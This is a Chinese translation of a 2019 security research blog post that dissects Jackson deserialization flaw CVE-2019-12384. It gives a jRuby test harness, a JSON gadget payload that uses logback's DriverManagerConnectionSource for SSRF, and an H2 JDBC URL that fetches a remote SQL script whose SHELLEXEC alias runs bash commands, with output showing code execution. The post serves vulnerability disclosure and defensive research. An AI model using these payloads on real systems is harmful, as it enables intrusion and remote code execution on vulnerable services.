Jackson反序列化漏洞剖析:从SSRF到RCE的完整攻击链

本文深入剖析了Jackson反序列化漏洞CVE-2019-12384的技术细节,展示了如何利用Logback组件的DriverManagerConnectionSource类实现SSRF攻击,并通过H2数据库的SQL脚本执行功能将SSRF升级为远程代码执行。文章还介绍了用于自动化发现此类漏洞的污点跟踪工具。

Jackson gadgets - 漏洞剖析

22 Jul 2019 - 发布者:Andrea Brancaleoni

Jackson CVE-2019-12384:一类漏洞的剖析

在一次安全评估中,我们分析了一个使用Jackson库进行JSON反序列化的应用程序。在该场景下,我们发现了一个反序列化漏洞,攻击者可以控制要反序列化的类。本文将展示攻击者如何利用此反序列化漏洞触发服务端请求伪造(SSRF)和远程代码执行等攻击。

这项研究还导致了一个新的CVE-2019-12384漏洞的发现,以及一系列受影响的RedHat产品:

必要条件

正如Jackson作者在《关于Jackson CVE:不要恐慌——你需要知道的事情》中指出的,Jackson “gadget"漏洞的要求如下:

  1. 应用程序接受由不受信任的客户端发送的JSON内容(手动组合或由您未编写且无法控制和查看的代码生成)——这意味着您无法约束正在发送的JSON本身。
  2. 应用程序对名义类型为java.lang.Object(或少数"宽松"标记接口,如java.util.Serializablejava.util.Comparable)的属性使用多态类型处理。
  3. Java类路径中至少存在一个可供利用的特定"gadget"类。具体来说,利用需要一个能与Jackson配合使用的类。实际上,大多数gadget只适用于特定的库——例如,最常报告的gadget适用于JDK序列化。
  4. 应用程序使用的Jackson版本尚未阻止该特定的"gadget"类。已公开的gadget集合随着时间的推移而增长,因此这是一场发现和报告gadget与发布补丁之间的竞赛。Jackson采用黑名单机制。反序列化是平台的一个"特性”,他们持续更新已知gadget的黑名单。

在本研究中,我们假设前提条件(1)和(2)已满足。相反,我们专注于寻找能够同时满足(3)和(4)的gadget。请注意,Jackson是Java应用程序中最常用的反序列化框架之一,其中多态性是一等概念。潜在攻击者可以使用静态分析工具或其他动态技术(例如在请求/响应中搜索@class)来发现这些条件,成本几乎为零。

战场准备

在研究过程中,我们开发了一个工具来辅助发现此类漏洞。当Jackson反序列化ch.qos.logback.core.db.DriverManagerConnectionSource时,此类可被滥用来实例化一个JDBC连接。JDBC代表Java数据库连接。JDBC是用于连接数据库并执行查询的Java API,是JavaSE的一部分。此外,JDBC使用自动的字符串到类的映射,因此它是加载和执行链中更多"gadget"的完美目标。

为了演示攻击,我们准备了一个包装器,在其中加载攻击者指定的任意多态类。对于环境,我们使用了jRuby,这是一个运行在Java虚拟机(JVM)之上的Ruby实现。凭借其在JVM之上的集成,我们可以轻松加载和实例化Java类。

我们将使用此设置轻松加载给定目录中的Java类,并准备Jackson环境以满足上述前两个要求(1,2)。为此,我们实现了以下jRuby脚本。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
require 'java'
Dir["./classpath/*.jar"].each do |f|
	require f
end
java_import 'com.fasterxml.jackson.databind.ObjectMapper'
java_import 'com.fasterxml.jackson.databind.SerializationFeature'

content = ARGV[0]

puts "Mapping"
mapper = ObjectMapper.new
mapper.enableDefaultTyping()
mapper.configure(SerializationFeature::FAIL_ON_EMPTY_BEANS, false);
puts "Serializing"
obj = mapper.readValue(content, java.lang.Object.java_class) # 调用所有setter方法
puts "objectified"
puts "stringified: " + mapper.writeValueAsString(obj)

脚本流程如下:

  • 第2行,加载"classpath"子目录下所有JAR文件中的类
  • 第5至13行,配置Jackson以满足要求(#2)
  • 第14至17行,将传递给jRuby的JSON多态Jackson对象进行反序列化和序列化

关键步骤:触及Gadget

在这项研究中,我们决定使用Java社区广泛使用的gadget。为演示此攻击而针对的所有库都在Maven中央仓库的前100个最常见库中。

要跟随并准备攻击,您可以下载以下库并将其放入"classpath"目录:

  • jackson-databind-2.9.8
  • jackson-annotations-2.9.8
  • jackson-core-2.9.8
  • logback-core-1.3.0-alpha4
  • h2-1.4.199

需要注意的是,h2库不是执行SSRF所必需的,因为我们的经验表明,大多数Java应用程序至少加载一个JDBC驱动程序。JDBC驱动程序是类,当传入JDBC URL时,它们会自动实例化,并将完整的URL作为参数传递给它们。

使用以下命令,我们将使用上述类路径调用之前的脚本。

1
$ jruby test.rb "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:\"}]"

在脚本的第15行,Jackson将使用子对象中包含的键递归调用所有setter方法。更具体地说,setUrl(String url)方法被Jackson反射库调用并传入参数。在该阶段之后(第17行),完整对象再次被序列化为JSON对象。此时,所有字段都直接序列化(如果未定义getter),或通过显式getter序列化。对我们来说,感兴趣的getter是getConnection()

实际上,作为攻击者,我们感兴趣的是所有具有有趣副作用且我们能控制参数的"非纯"方法。当调用getConnection时,会实例化一个内存数据库。由于应用程序生命周期很短,从攻击者的角度来看,我们不会看到任何有意义的效果。为了做更有意义的事情,我们创建一个到远程数据库的连接。如果目标应用程序部署为远程服务,攻击者可以产生服务端请求伪造(SSRF)。以下截图是此场景的示例。

进入矩阵:从SSRF到RCE

您可能已经注意到,这两种情况都会导致拒绝服务(DoS)和SSRF。虽然这些攻击可能会影响应用程序安全性,但我们想向您展示一种简单有效的技术,将SSRF转变为完整的RCE攻击链。

为了在应用程序上下文中获得完整的代码执行能力,我们利用了加载H2 JDBC驱动程序的能力。H2是一个超快速的SQL数据库,通常用作完整SQL数据库管理系统(如Postgresql、MSSql、MySql或OracleDB)的内存替代品。它易于配置,并且实际上支持多种模式,如内存模式、文件模式和远程服务器模式。H2具有从JDBC URL运行SQL脚本的能力,添加此功能是为了让内存数据库支持初始化迁移。

仅凭这一点,攻击者还无法在JVM上下文中实际执行Java代码。然而,H2由于是在JVM内部实现的,具有指定包含Java代码的自定义别名的能力。这正是我们可以滥用来执行任意代码的地方。

我们可以通过一个简单的HTTP服务器(例如python -m SimpleHttpServer)轻松提供以下inject.sql INIT文件。

1
2
3
4
5
6
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
	String[] command = {"bash", "-c", cmd};
	java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
	return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('id > exploited.txt')

并运行测试程序:

1
2
3
4
$ jruby test.rb "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'\"}]"
...
$ cat exploited.txt
uid=501(...) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),501(access_bpf),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh)

成功!

迭代式污点跟踪

利用反序列化漏洞是复杂且耗时的。在进行产品安全审查时,时间限制可能使得难以找到合适的gadget进行利用。另一方面,Jackson黑名单每月更新,而使用此机制的用户(例如企业应用程序)可能具有年度发布周期。

反序列化漏洞是典型的大海捞针问题。一方面,识别易受攻击的入口点是一项容易的任务,而寻找有用的gadget可能既耗时又繁琐。

在Doyensec,我们开发了一种技术来寻找有用的Jackson gadget,以方便后一项工作。我们构建了一个静态分析工具,可以通过污点跟踪分析来查找序列化gadget。我们将其设计得足够快,以便能够运行多次,并通过自定义和可扩展的规则集语言进行迭代/改进。平均而言,在2018款Macbook PRO i7上运行一次大约需要2分钟。

污点跟踪是一个热门的学术研究主题。学术研究工具专注于非常高的召回率和精确率。权衡在于高召回率/精确率与速度/内存之间。由于我们希望该工具在测试商业级产品时可用,并且我们重视工具本身的可定制性,因此我们专注于速度和可用性,而不是高召回率。虽然该工具的灵感来自其他研究(如flowdroid),但我们的技术重点不是排除人工分析员。相反,我们相信通过可定制的安全自动化来增强手动测试和利用能力。

这项研究得益于Doyensec提供的25%研究时间。请继续关注新内容。

就到这里了!保持警惕,注意安全!

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计